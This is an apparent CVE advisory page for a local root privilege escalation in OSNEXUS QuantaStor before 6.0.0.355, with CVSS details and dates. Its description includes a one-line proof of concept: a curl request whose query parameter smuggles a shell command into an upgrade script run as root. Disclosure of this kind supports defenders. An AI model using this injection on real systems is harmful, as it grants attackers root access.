CVE-2021-42082 HIGH

CVE-2021-42082: Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355

Vendor Osnexus
Product QuantaStor
Weakness CWE-269
Published July 10, 2023
Last update September 22, 2025
View on NVD All CVEs

CVSS base score

7.8/10
Attack vector Local
Attack complexity Low
Privileges required Low
User interaction None
Confidentiality High
Integrity High

CVSS vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

What the vulnerability does

01Description

Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Key dates

02Disclosure timeline

July 10, 2023 CVE published
September 22, 2025 Record updated